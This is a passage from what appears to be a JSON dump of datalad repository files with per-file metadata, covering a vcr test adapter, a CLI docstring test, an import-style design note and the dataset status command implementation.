Git\\nds.repo.set_gitattributes([('*', {'annex.largefiles': 'nothing'})],\\n op.join('code', '.gitattributes'))\\n\\n# amend gitattributes\\nds.repo.set_gitattributes(\\n [(p, {'annex.largefiles': 'nothing'}) for p in force_in_git])\\n\\n# leave clean\\nds.save(\\n path=to_modify,\\n message=\\\"Apply YODA dataset setup\\\",\\n result_renderer='disabled'\\n)\\n\"\n },\n {\n \"alpha_fraction\": 0.6114524602890015,\n \"alphanum_fraction\": 0.6146473288536072,\n \"avg_line_length\": 37.75238037109375,\n \"blob_id\": \"94c583a1ff38f3631f6512d0d493fb820ed210cc\",\n \"content_id\": \"129d833c5a8290ca5fe037f0abdccada9d5394f7\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4069,\n \"license_type\": \"permissive\",\n \"max_line_length\": 112,\n \"num_lines\": 105,\n \"path\": \"/datalad/support/vcr_.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Adapters and decorators for vcr\\n\\\"\\\"\\\"\\n\\nimport logging\\n\\nfrom functools import wraps\\nfrom os.path import isabs\\nfrom contextlib import contextmanager\\n\\nfrom datalad.utils import Path\\nfrom datalad.support.exceptions import CapturedException\\n\\nlgr = logging.getLogger(\\\"datalad.support.vcr\\\")\\n\\n\\ndef _get_cassette_path(path):\\n \\\"\\\"\\\"Return a path to the cassette within our unified 'storage'\\\"\\\"\\\"\\n if not isabs(path): # so it was given as a name\\n return \\\"fixtures/vcr_cassettes/%s.yaml\\\" % path\\n return path\\n\\ntry:\\n # TEMP: Just to overcome problem with testing on jessie with older requests\\n # https://github.com/kevin1024/vcrpy/issues/215\\n import vcr.patch as _vcrp\\n import requests as _\\n try:\\n from requests.packages.urllib3.connectionpool import HTTPConnection as _a, VerifiedHTTPSConnection as _b\\n except ImportError:\\n def returnnothing(*args, **kwargs):\\n return()\\n _vcrp.CassettePatcherBuilder._requests = returnnothing\\n\\n from vcr import use_cassette as _use_cassette, VCR as _VCR\\n\\n def use_cassette(path, return_body=None, skip_if_no_vcr=False, **kwargs):\\n \\\"\\\"\\\"Adapter so we could create/use custom use_cassette with custom parameters\\n\\n Parameters\\n ----------\\n path : str\\n If not absolute path, treated as a name for a cassette under fixtures/vcr_cassettes/\\n skip_if_no_vcr : bool\\n Rather than running without VCR it would throw unittest.SkipTest\\n exception. Of effect only if vcr import fails (so not in this\\n implementation but the one below)\\n \\\"\\\"\\\"\\n path = _get_cassette_path(path)\\n lgr.debug(\\\"Using cassette %s\\\", path)\\n if return_body is not None:\\n my_vcr = _VCR(\\n before_record_response=lambda r: dict(r, body={'string': return_body.encode()}))\\n return my_vcr.use_cassette(path, **kwargs) # with a custom response\\n else:\\n return _use_cassette(path, **kwargs) # just a straight one\\n\\n # shush vcr\\n vcr_lgr = logging.getLogger('vcr')\\n if lgr.getEffectiveLevel() > logging.DEBUG:\\n vcr_lgr.setLevel(logging.WARN)\\nexcept Exception as exc:\\n if not isinstance(exc, ImportError):\\n # something else went hairy (e.g. vcr failed to import boto due to some syntax error)\\n lgr.warning(\\\"Failed to import vcr, no cassettes will be available: %s\\\",\\n CapturedException(exc))\\n # If there is no vcr.py -- provide a do nothing decorator for use_cassette\\n\\n def use_cassette(path, return_body=None, skip_if_no_vcr=False, **kwargs):\\n if skip_if_no_vcr:\\n def skip_decorator(t):\\n @wraps(t)\\n def wrapper(*args, **kwargs):\\n from unittest import SkipTest\\n raise SkipTest(\\\"No vcr\\\")\\n return wrapper\\n return skip_decorator\\n else:\\n def do_nothing_decorator(t):\\n @wraps(t)\\n def wrapper(*args, **kwargs):\\n lgr.debug(\\\"Not using vcr cassette\\\")\\n return t(*args, **kwargs)\\n return wrapper\\n return do_nothing_decorator\\n\\n\\n@contextmanager\\ndef externals_use_cassette(name):\\n \\\"\\\"\\\"Helper to pass instruction via env variables to use specified cassette\\n\\n For instance whenever we are testing custom special remotes invoked by the annex\\n but want to minimize their network traffic by using vcr.py\\n \\\"\\\"\\\"\\n from unittest.mock import patch\\n cassette_path = str(Path(_get_cassette_path(name)).resolve()) # realpath OK\\n with patch.dict('os.environ', {'DATALAD_TESTS_USECASSETTE': cassette_path}):\\n yield\\n\"\n },\n {\n \"alpha_fraction\": 0.6047579050064087,\n \"alphanum_fraction\": 0.605592668056488,\n \"avg_line_length\": 29.71794891357422,\n \"blob_id\": \"bacc0b6a373a8ba3a1544d94294177f25a71a5e9\",\n \"content_id\": \"9a00cbcb268e43900d730df64590431b323d2a7f\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2396,\n \"license_type\": \"permissive\",\n \"max_line_length\": 73,\n \"num_lines\": 78,\n \"path\": \"/datalad/cli/tests/test_interface.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from datalad.interface.tests.test_docs import (\\n demo_argdoc,\\n demo_doc,\\n demo_paramdoc,\\n)\\nfrom datalad.tests.utils_pytest import (\\n assert_false,\\n assert_in,\\n assert_not_in,\\n eq_,\\n)\\n\\nfrom ..interface import (\\n alter_interface_docs_for_cmdline,\\n get_cmdline_command_name,\\n)\\n\\n\\ndef test_alter_interface_docs_for_cmdline():\\n alt = alter_interface_docs_for_cmdline(demo_doc)\\n alt_l = alt.split('\\\\n')\\n # de-dented\\n assert_false(alt_l[0].startswith(' '))\\n assert_false(alt_l[-1].startswith(' '))\\n assert_not_in('PY', alt)\\n assert_not_in('CMD', alt)\\n assert_not_in('REFLOW', alt)\\n assert_in('a b', alt)\\n assert_in('not\\\\n reflowed', alt)\\n assert_in(\\\"Something for the cmdline only Multiline!\\\", alt)\\n assert_not_in(\\\"Some Python-only bits\\\", alt)\\n assert_not_in(\\\"just for Python\\\", alt)\\n assert_in(\\\"just for the command line\\\", alt)\\n assert_in(\\\"multiline cli-only with [ brackets\\\\n[] ]\\\", alt)\\n assert_not_in(\\\"multiline\\\\npython-only with [ brackets [] ]\\\", alt)\\n\\n # args\\n altarg = alter_interface_docs_for_cmdline(demo_argdoc)\\n # RST role markup\\n eq_(alter_interface_docs_for_cmdline(':murks:`me and my buddies`'),\\n 'me and my buddies')\\n # spread across lines\\n eq_(alter_interface_docs_for_cmdline(':term:`Barbara\\\\nStreisand`'),\\n 'Barbara\\\\nStreisand')\\n # multiple on one line\\n eq_(alter_interface_docs_for_cmdline(\\n ':term:`one` bla bla :term:`two` bla'),\\n 'one bla bla two bla')\\n\\n altpd = alter_interface_docs_for_cmdline(demo_paramdoc)\\n assert_not_in(\\\"PY\\\", altpd)\\n assert_not_in(\\\"CMD\\\", altpd)\\n assert_not_in('python', altpd)\\n assert_not_in(\\\"python-only with [ some brackets []\\\", altpd)\\n assert_in('in between', altpd)\\n assert_in('appended', altpd)\\n assert_in('cmdline', altpd)\\n assert_in(\\\"multiline cli-only [\\\\n brackets included \\\"\\n \\\"[ can we also have || ?]\\\", altpd)\\n\\n\\ndef test_name_generation():\\n eq_(\\n get_cmdline_command_name((\\\"some.module_something\\\", \\\"SomeClass\\\")),\\n \\\"module-something\\\")\\n eq_(\\n get_cmdline_command_name((\\n \\\"some.module_something\\\",\\n \\\"SomeClass\\\",\\n \\\"override\\\")),\\n \\\"override\\\")\\n eq_(\\n get_cmdline_command_name((\\n \\\"some.module_something\\\",\\n \\\"SomeClass\\\",\\n \\\"override\\\",\\n \\\"api_ignore\\\")),\\n \\\"override\\\")\\n\"\n },\n {\n \"alpha_fraction\": 0.68319171667099,\n \"alphanum_fraction\": 0.6888574361801147,\n \"avg_line_length\": 26.802631378173828,\n \"blob_id\": \"efd50c015ca4430e215cc1d3c0e4806f3a096798\",\n \"content_id\": \"02177401d39073d68492a3d0b07ebe9059cc14fd\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"reStructuredText\",\n \"length_bytes\": 2118,\n \"license_type\": \"permissive\",\n \"max_line_length\": 195,\n \"num_lines\": 76,\n \"path\": \"/docs/source/design/python_imports.rst\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \".. -*- mode: rst -*-\\n.. vi: set ft=rst sts=4 ts=4 sw=4 et tw=79:\\n\\n.. _chap_design_python_imports:\\n\\n************************\\nPython import statements\\n************************\\n\\n.. topic:: Specification scope and status\\n\\n This specification describes the current (albeit incomplete) implementation.\\n\\nThe following rules apply to any ``import`` statement in the code base:\\n\\n- All imports *must* be absolute, unless they import individual pieces of an integrated code component that is only split across several source code files for technical or organizational reasons.\\n\\n- Imports *must* be placed at the top of a source file, unless there is a\\n specific reason not to do so (e.g., delayed import due to performance\\n concerns, circular dependencies). If such a reason exists, it *must*\\n be documented by a comment at the import statement.\\n\\n- There *must* be no more than one import per line.\\n\\n- Multiple individual imports from a single module *must* follow the pattern::\\n\\n from <module> import (\\n symbol1,\\n symbol2,\\n )\\n\\n Individual imported symbols *should* be sorted alphabetically. The last symbol\\n line *should* end with a comma.\\n\\n- Imports from packages and modules *should* be grouped in categories like\\n\\n - Standard library packages\\n\\n - 3rd-party packages\\n\\n - DataLad core (absolute imports)\\n\\n - DataLad extensions\\n \\n - DataLad core (\\\"local\\\" relative imports)\\n \\n Sorting imports can be aided by https://github.com/PyCQA/isort (e.g. ``python -m isort -m3 --fgw 2 --tc <filename>``).\\n\\n\\n\\nExamples\\n========\\n\\n::\\n\\n from collections import OrderedDict\\n import logging\\n import os\\n\\n from datalad.utils import (\\n bytes2human,\\n ensure_list,\\n ensure_unicode,\\n get_dataset_root as gdr,\\n )\\n \\n In the `datalad/submodule/tests/test_mod.py` test file demonstrating an \\\"exception\\\" to absolute imports\\n rule where test files are accompanying corresponding files of the underlying module:: \\n \\n import os\\n \\n from datalad.utils import ensure_list\\n \\n from ..mod import func1\\n\\n from datalad.tests.utils_pytest import assert_true\\n \\n\"\n },\n {\n \"alpha_fraction\": 0.6016497611999512,\n \"alphanum_fraction\": 0.6028744578361511,\n \"avg_line_length\": 41.255706787109375,\n \"blob_id\": \"b36712e548fee91528c78284bd1a0fda2dec3bb0\",\n \"content_id\": \"c591880aaa8311d088b059265ea5fdfa464e5588\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 27762,\n \"license_type\": \"permissive\",\n \"max_line_length\": 94,\n \"num_lines\": 657,\n \"path\": \"/datalad/core/local/status.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Report status of a dataset (hierarchy)'s work tree\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\n\\nimport logging\\nimport os\\nimport os.path as op\\nfrom collections import OrderedDict\\nimport warnings\\n\\nfrom datalad.utils import (\\n bytes2human,\\n ensure_list,\\n ensure_unicode,\\n get_dataset_root,\\n)\\nfrom datalad.interface.base import (\\n Interface,\\n build_doc,\\n eval_results,\\n)\\nfrom datalad.interface.common_opts import (\\n recursion_limit,\\n recursion_flag,\\n)\\nfrom datalad.interface.utils import generic_result_renderer\\nimport datalad.support.ansi_colors as ac\\nfrom datalad.support.param import Parameter\\nfrom datalad.support.constraints import (\\n EnsureChoice,\\n EnsureNone,\\n EnsureStr,\\n)\\nfrom datalad.distribution.dataset import (\\n Dataset,\\n EnsureDataset,\\n datasetmethod,\\n require_dataset,\\n resolve_path,\\n path_under_rev_dataset,\\n)\\n\\nimport datalad.utils as ut\\n\\nfrom datalad.dochelpers import single_or_plural\\n\\nlgr = logging.getLogger('datalad.core.local.status')\\n\\n_common_diffstatus_params = dict(\\n dataset=Parameter(\\n args=(\\\"-d\\\", \\\"--dataset\\\"),\\n doc=\\\"\\\"\\\"specify the dataset to query. If\\n no dataset is given, an attempt is made to identify the dataset\\n based on the current working directory\\\"\\\"\\\",\\n constraints=EnsureDataset() | EnsureNone()),\\n annex=Parameter(\\n args=('--annex',),\\n # the next two enable a sole `--annex` that auto-translates to\\n # `--annex basic`\\n const='basic',\\n nargs='?',\\n constraints=EnsureChoice(None, 'basic', 'availability', 'all'),\\n doc=\\\"\\\"\\\"Switch whether to include information on the annex\\n content of individual files in the status report, such as\\n recorded file size. By default no annex information is reported\\n (faster). Three report modes are available: basic information\\n like file size and key name ('basic'); additionally test whether\\n file content is present in the local annex ('availability';\\n requires one or two additional file system stat calls, but does\\n not call git-annex), this will add the result properties\\n 'has_content' (boolean flag) and 'objloc' (absolute path to an\\n existing annex object file); or 'all' which will report all\\n available information (presently identical to 'availability').\\n [CMD: The 'basic' mode will be assumed when this option is given,\\n but no mode is specified. CMD]\\n \\\"\\\"\\\"),\\n untracked=Parameter(\\n args=('--untracked',),\\n constraints=EnsureChoice('no', 'normal', 'all'),\\n doc=\\\"\\\"\\\"If and how untracked content is reported when comparing\\n a revision to the state of the working tree. 'no': no untracked\\n content is reported; 'normal': untracked files and entire\\n untracked directories are reported as such; 'all': report\\n individual files even in fully untracked directories.\\\"\\\"\\\"),\\n recursive=recursion_flag,\\n recursion_limit=recursion_limit)\\n\\n\\nSTATE_COLOR_MAP = {\\n 'untracked': ac.RED,\\n 'modified': ac.RED,\\n 'deleted': ac.RED,\\n 'added': ac.GREEN,\\n 'unknown': ac.YELLOW,\\n}\\n\\n\\ndef yield_dataset_status(ds, paths, annexinfo, untracked, recursion_limit,\\n queried, eval_submodule_state, eval_filetype, cache,\\n reporting_order):\\n \\\"\\\"\\\"Internal helper to obtain status information on a dataset\\n\\n Parameters\\n ----------\\n ds : Dataset\\n Dataset to get the status of.\\n path : Path-like, optional\\n Paths to constrain the status to (see main status() command).\\n annexinfo : str\\n Annex information reporting mode (see main status() command).\\n untracked : str, optional\\n Reporting mode for untracked content (see main status() command).\\n recursion_limit : int, optional\\n queried : set\\n Will be populated with a Path instance for each queried dataset.\\n eval_submodule_state : str\\n Submodule evaluation mode setting for Repo.diffstatus().\\n eval_filetype : bool, optional\\n THIS OPTION IS IGNORED. It will be removed in a future release.\\n cache : dict\\n Cache to be passed on to all Repo.diffstatus() calls to avoid duplicate\\n queries.\\n reporting_order : {'depth-first', 'breadth-first'}, optional\\n By default, subdataset content records are reported after the record\\n on the subdataset's submodule in a superdataset (depth-first).\\n Alternatively, report all superdataset records first, before reporting\\n any subdataset content records (breadth-first).\\n\\n Yields\\n ------\\n dict\\n DataLad result records.\\n \\\"\\\"\\\"\\n if eval_filetype is not None:\\n warnings.warn(\\n \\\"yield_dataset_status(eval_filetype=) no longer supported, \\\"\\n \\\"and will be removed in a future release\\\",\\n DeprecationWarning)\\n\\n if reporting_order not in ('depth-first', 'breadth-first'):\\n raise ValueError('Unknown reporting order: {}'.format(reporting_order))\\n\\n if ds.pathobj in queried:\\n # do not report on a single dataset twice\\n return\\n # take the dataset that went in first\\n repo = ds.repo\\n repo_path = repo.pathobj\\n lgr.debug('Querying %s.diffstatus() for paths: %s', repo, paths)\\n # recode paths with repo reference for low-level API\\n paths = [repo_path / p.relative_to(ds.pathobj) for p in paths] if paths else None\\n status = repo.diffstatus(\\n fr='HEAD' if repo.get_hexsha() else None,\\n to=None,\\n paths=paths,\\n untracked=untracked,\\n eval_submodule_state=eval_submodule_state,\\n _cache=cache)\\n if annexinfo and hasattr(repo, 'get_content_annexinfo'):\\n if paths:\\n # when an annex query has been requested for specific paths,\\n # exclude untracked files from the annex query (else gh-7032)\\n untracked = [k for k, v in status.items() if\\n v['state'] == 'untracked']\\n lgr.debug(\\n 'Skipping %s.get_content_annexinfo() for untracked paths: %s',\\n repo, paths)\\n [paths.remove(p) for p in untracked]\\n lgr.debug('Querying %s.get_content_annexinfo() for paths: %s', repo, paths)\\n # this will amend `status`\\n repo.get_content_annexinfo(\\n paths=paths,\\n init=status,\\n eval_availability=annexinfo in ('availability', 'all'),\\n ref=None)\\n # potentially collect subdataset status call specs for the end\\n # (if order == 'breadth-first')\\n subds_statuscalls = []\\n for path, props in status.items():\\n cpath = ds.pathobj / path.relative_to(repo_path)\\n yield dict(\\n props,\\n path=str(cpath),\\n # report the dataset path rather than the repo path to avoid\\n # realpath/symlink issues\\n parentds=ds.path,\\n )\\n queried.add(ds.pathobj)\\n if recursion_limit and props.get('type', None) == 'dataset':\\n if cpath == ds.pathobj:\\n # ATM can happen if there is something wrong with this repository\\n # We will just skip it here and rely on some other exception to bubble up\\n # See https://github.com/datalad/datalad/pull/4526 for the usecase\\n lgr.debug(\\\"Got status for itself, which should not happen, skipping %s\\\", path)\\n continue\\n subds = Dataset(str(cpath))\\n if subds.is_installed():\\n call_args = (\\n subds,\\n None,\\n annexinfo,\\n untracked,\\n recursion_limit - 1,\\n queried,\\n eval_submodule_state,\\n None,\\n cache,\\n )\\n call_kwargs = dict(\\n reporting_order='depth-first',\\n )\\n if reporting_order == 'depth-first':\\n yield from yield_dataset_status(*call_args, **call_kwargs)\\n else:\\n subds_statuscalls.append((call_args, call_kwargs))\\n\\n # deal with staged subdataset status calls\\n for call_args, call_kwargs in subds_statuscalls:\\n yield from yield_dataset_status(*call_args, **call_kwargs)\\n\\n\\n@build_doc\\nclass Status(Interface):\\n \\\"\\\"\\\"Report on the state of dataset content.\\n\\n This is an analog to `git status` that is simultaneously crippled and more\\n powerful. It is crippled, because it only supports a fraction of the\\n functionality of its counter part and only distinguishes a subset of the\\n states that Git knows about. But it is also more powerful as it can handle\\n status reports for a whole hierarchy of datasets, with the ability to\\n report on a subset of the content (selection of paths) across any number\\n of datasets in the hierarchy.\\n\\n *Path conventions*\\n\\n All reports are guaranteed to use absolute paths that are underneath the\\n given or detected reference dataset, regardless of whether query paths are\\n given as absolute or relative paths (with respect to the working directory,\\n or to the reference dataset, when such a dataset is given explicitly).\\n Moreover, so-called \\\"explicit relative paths\\\" (i.e. paths that start with\\n '.' or '..') are also supported, and are interpreted as relative paths with\\n respect to the current working directory regardless of whether a reference\\n dataset with specified.\\n\\n When it is necessary to address a subdataset record in a superdataset\\n without causing a status query for the state _within_ the subdataset\\n itself, this can be achieved by explicitly providing a reference dataset\\n and the path to the root of the subdataset like so::\\n\\n datalad status --dataset . subdspath\\n\\n In contrast, when the state of the subdataset within the superdataset is\\n not relevant, a status query for the content of the subdataset can be\\n obtained by adding a trailing path separator to the query path (rsync-like\\n syntax)::\\n\\n datalad status --dataset . subdspath/\\n\\n When both aspects are relevant (the state of the subdataset content\\n and the state of the subdataset within the superdataset), both queries\\n can be combined::\\n\\n datalad status --dataset . subdspath subdspath/\\n\\n When performing a recursive status query, both status aspects of subdataset\\n are always included in the report.\\n\\n\\n *Content types*\\n\\n The following content types are distinguished:\\n\\n - 'dataset' -- any top-level dataset, or any subdataset that is properly\\n registered in superdataset\\n - 'directory' -- any directory that does not qualify for type 'dataset'\\n - 'file' -- any file, or any symlink that is placeholder to an annexed\\n file when annex-status reporting is enabled\\n - 'symlink' -- any symlink that is not used as a placeholder for an annexed\\n file\\n\\n *Content states*\\n\\n The following content states are distinguished:\\n\\n - 'clean'\\n - 'added'\\n - 'modified'\\n - 'deleted'\\n - 'untracked'\\n \\\"\\\"\\\"\\n # make the custom renderer the default one, as the global default renderer\\n # does not yield meaningful output for this command\\n result_renderer = 'tailored'\\n _examples_ = [\\n dict(text=\\\"Report on the state of a dataset\\\",\\n code_py=\\\"status()\\\",\\n code_cmd=\\\"datalad status\\\"),\\n dict(text=\\\"Report on the state of a dataset and all subdatasets\\\",\\n code_py=\\\"status(recursive=True)\\\",\\n code_cmd=\\\"datalad status -r\\\"),\\n dict(text=\\\"Address a subdataset record in a superdataset without \\\"\\n \\\"causing a status query for the state _within_ the subdataset \\\"\\n \\\"itself\\\",\\n code_py=\\\"status(dataset='.', path='mysubdataset')\\\",\\n code_cmd=\\\"datalad status -d . mysubdataset\\\"),\\n dict(text=\\\"Get a status query for the state within the subdataset \\\"\\n \\\"without causing a status query for the superdataset (using trailing \\\"\\n \\\"path separator in the query path):\\\",\\n code_py=\\\"status(dataset='.', path='mysubdataset/')\\\",\\n code_cmd=\\\"datalad status -d . mysubdataset/\\\"),\\n dict(text=\\\"Report on the state of a subdataset in a superdataset and \\\"\\n \\\"on the state within the subdataset\\\",\\n code_py=\\\"status(dataset='.', path=['mysubdataset', 'mysubdataset/'])\\\",\\n code_cmd=\\\"datalad status -d . mysubdataset mysubdataset/\\\"),\\n dict(text=\\\"Report the file size of annexed content in a dataset\\\",\\n code_py=\\\"status(annex=True)\\\",\\n code_cmd=\\\"datalad status --annex\\\")\\n ]\\n\\n _params_ = dict(\\n _common_diffstatus_params,\\n path=Parameter(\\n args=(\\\"path\\\",),\\n metavar=\\\"PATH\\\",\\n doc=\\\"\\\"\\\"path to be evaluated\\\"\\\"\\\",\\n nargs=\\\"*\\\",\\n constraints=EnsureStr() | EnsureNone()),\\n eval_subdataset_state=Parameter(\\n args=(\\\"-e\\\", \\\"--eval-subdataset-state\\\",),\\n constraints=EnsureChoice('no', 'commit', 'full'),\\n doc=\\\"\\\"\\\"Evaluation of subdataset state (clean vs.\\n modified) can be expensive for deep dataset hierarchies\\n as subdataset have to be tested recursively for\\n uncommitted modifications. Setting this option to\\n 'no' or 'commit' can substantially boost performance\\n by limiting what is being tested. With 'no' no state\\n is evaluated and subdataset result records typically do\\n not contain a 'state' property.\\n With 'commit' only a discrepancy of the HEAD commit\\n shasum of a subdataset and the shasum recorded in the\\n superdataset's record is evaluated,\\n and the 'state' result property only reflects this\\n aspect. With 'full' any other modification is considered\\n too (see the 'untracked' option for further tailoring\\n modification testing).\\\"\\\"\\\"),\\n report_filetype=Parameter(\\n args=(\\\"-t\\\", \\\"--report-filetype\\\",),\\n constraints=EnsureChoice('raw', 'eval', None),\\n doc=\\\"\\\"\\\"THIS OPTION IS IGNORED. It will be removed in a future\\n release. Dataset component types are always reported\\n as-is (previous 'raw' mode), unless annex-reporting is enabled\\n with the [CMD: --annex CMD][PY: `annex` PY] option, in which\\n case symlinks that represent annexed files will be reported\\n as type='file'.\\\"\\\"\\\"),\\n )\\n\\n @staticmethod\\n @datasetmethod(name='status')\\n @eval_results\\n def __call__(\\n path=None,\\n *,\\n dataset=None,\\n annex=None,\\n untracked='normal',\\n recursive=False,\\n recursion_limit=None,\\n eval_subdataset_state='full',\\n report_filetype=None):\\n if report_filetype is not None:\\n warnings.warn(\\n \\\"status(report_filetype=) no longer supported, and will be removed \\\"\\n \\\"in a future release\\\",\\n DeprecationWarning)\\n\\n # To the next white knight that comes in to re-implement `status` as a\\n # special case of `diff`. There is one fundamental difference between\\n # the two commands: `status` can always use the worktree as evident on\\n # disk as a constraint (e.g. to figure out which subdataset a path is\\n # in) `diff` cannot do that (everything need to be handled based on a\\n # \\\"virtual\\\" representation of a dataset hierarchy).\\n # MIH concludes that while `status` can be implemented as a special case\\n # of `diff` doing so would complicate and slow down both `diff` and\\n # `status`. So while the apparent almost code-duplication between the\\n # two commands feels wrong, the benefit is speed. Any future RF should\\n # come with evidence that speed does not suffer, and complexity stays\\n # on a manageable level\\n ds = require_dataset(\\n dataset, check_installed=True, purpose='report status')\\n ds_path = ds.path\\n queried = set()\\n content_info_cache = {}\\n for res in _yield_paths_by_ds(ds, dataset, ensure_list(path)):\\n if 'status' in res:\\n # this is an error\\n yield res\\n continue\\n for r in yield_dataset_status(\\n res['ds'],\\n res['paths'],\\n annex,\\n untracked,\\n recursion_limit\\n if recursion_limit is not None else -1\\n if recursive else 0,\\n queried,\\n eval_subdataset_state,\\n None,\\n content_info_cache,\\n reporting_order='depth-first'):\\n if 'status' not in r:\\n r['status'] = 'ok'\\n yield dict(\\n r,\\n refds=ds_path,\\n action='status',\\n )\\n\\n @staticmethod\\n def custom_result_renderer(res, **kwargs): # pragma: more cover\\n if (res['status'] == 'ok' and res['action'] in ('status', 'diff')\\n and res.get('state') == 'clean'):\\n # this renderer will be silent for clean status|diff results\\n return\\n if res['status'] != 'ok' or res['action'] not in ('status', 'diff'):\\n # whatever this renderer cannot account for, send to generic\\n generic_result_renderer(res)\\n return\\n from datalad.ui import ui\\n # when to render relative paths:\\n # 1) if a dataset arg was given\\n # 2) if CWD is the refds\\n refds = res.get('refds', None)\\n refds = refds if kwargs.get('dataset', None) is not None \\\\\\n or refds == os.getcwd() else None\\n path = res['path'] if refds is None \\\\\\n else str(ut.Path(res['path']).relative_to(refds))\\n type_ = res.get('type', res.get('type_src', ''))\\n max_len = len('untracked')\\n state = res.get('state', 'unknown')\\n ui.message(u'{fill}{state}: {path}{type_}'.format(\\n fill=' ' * max(0, max_len - len(state)),\\n state=ac.color_word(\\n state,\\n STATE_COLOR_MAP.get(res.get('state', 'unknown'))),\\n path=path,\\n type_=' ({})'.format(\\n ac.color_word(type_, ac.MAGENTA) if type_ else '')))\\n\\n @staticmethod\\n def custom_result_summary_renderer(results): # pragma: more cover\\n # fish out sizes of annexed files. those will only be present\\n # with --annex ...\\n annexed = [\\n (r.get('bytesize', None), r.get('has_content', None), r['path'])\\n for r in results\\n if r.get('action', None) == 'status' \\\\\\n and 'key' in r]\\n if annexed:\\n # convert to int and interrogate files with content but\\n # with unknown size (e.g. for --relaxed URLs), and drop 'path'\\n annexed = [\\n (int(bytesize) if bytesize is not None else (\\n int(os.stat(path).st_size) if has_content else 0\\n ), has_content)\\n for bytesize, has_content, path in annexed\\n ]\\n have_availability = any(a[1] is not None for a in annexed)\\n total_size = bytes2human(sum(a[0] for a in annexed))\\n # we have availability info encoded in the results\\n from datalad.ui import ui\\n if have_availability:\\n ui.message(\\n \\\"{} annex'd {} ({}/{} present/total size)\\\".format(\\n len(annexed),\\n single_or_plural('file', 'files', len(annexed)),\\n bytes2human(sum(a[0] for a in annexed if a[1])),\\n total_size))\\n else:\\n ui.message(\\n \\\"{} annex'd {} ({} recorded total size)\\\".format(\\n len(annexed),\\n single_or_plural('file', 'files', len(annexed)),\\n total_size))\\n if all(r.get('action', None) == 'status'\\n and r.get('state', None) == 'clean'\\n for r in results):\\n from datalad.ui import ui\\n ui.message(\\\"nothing to save, working tree clean\\\")\\n\\n\\ndef get_paths_by_ds(refds, dataset_arg, paths, subdsroot_mode='rsync'):\\n \\\"\\\"\\\"Resolve and sort any paths into their containing datasets\\n\\n Any path will be associated (sorted into) its nearest containing dataset.\\n It is irrelevant whether or not a path presently exists on the file system.\\n However, only datasets that exist on the file system are used for\\n sorting/association -- known, but non-existent subdatasets are not\\n considered.\\n\\n Parameters\\n ----------\\n refds: Dataset\\n dataset_arg: Dataset or str or Path or None\\n Any supported value given to a command's `dataset` argument. Given\\n to `resolve_path()`.\\n paths: list\\n Any number of absolute or relative paths, in str-form or as\\n Path instances, to be sorted into their respective datasets. See also\\n the `subdsroot_mode` parameter.\\n subdsroot_mode: {'rsync', 'super', 'sub'}\\n Switch behavior for paths that are the root of a subdataset. By default\\n ('rsync'), such a path is associated with its parent/superdataset,\\n unless the path ends with a trailing directory separator, in which case\\n it is sorted into the subdataset record (this resembles the path\\n semantics of rsync, hence the label). In 'super' mode, the path is always\\n placed with the superdataset record. Likewise, in 'sub' mode the path\\n is always placed into the subdataset record.\\n\\n Returns\\n -------\\n dict, list\\n The first return value is the main result, a dictionary with root\\n directories of all discovered datasets as keys and a list of the\\n associated paths inside these datasets as values. Keys and values are\\n normalized to be Path instances of absolute paths.\\n The second return value is a list of all paths (again Path instances)\\n that are not located underneath the reference dataset.\\n \\\"\\\"\\\"\\n ds_path = refds.path\\n paths_by_ds = dict()\\n errors = []\\n\\n if not paths:\\n # that was quick\\n paths_by_ds[refds.pathobj] = None\\n return paths_by_ds, errors\\n\\n # in order to guarantee proper path sorting, we first need to resolve all\\n # of them (some may be str, some Path, some relative, some absolute)\\n # step 1: normalize to unicode\\n paths = map(ensure_unicode, paths)\\n # step 2: resolve\\n # for later comparison, we need to preserve the original value too\\n paths = [(resolve_path(p, dataset_arg), str(p)) for p in paths]\\n # OPT: store cache for dataset roots for each directory directly\\n # listed in paths, or containing the path (if file)\\n roots_cache = {}\\n # sort any path argument into the respective subdatasets\\n # sort by comparing the resolved Path instances, this puts top-level\\n # paths first, leading to their datasets to be injected into the result\\n # dict first\\n for p, orig_path in sorted(paths, key=lambda x: x[0]):\\n # TODO (left from implementing caching OPT):\\n # Logic here sounds duplicated with discover_dataset_trace_to_targets\\n # and even get_tree_roots of save.\\n str_p = str(p)\\n\\n # query get_dataset_root caching for repeated queries within the same\\n # directory\\n if p.is_dir():\\n p_dir = str(p)\\n else: # symlink, file, whatnot - seems to match logic in get_dataset_root\\n p_dir = str(p.parent)\\n\\n try:\\n root = roots_cache[p_dir]\\n except KeyError:\\n root = roots_cache[p_dir] = 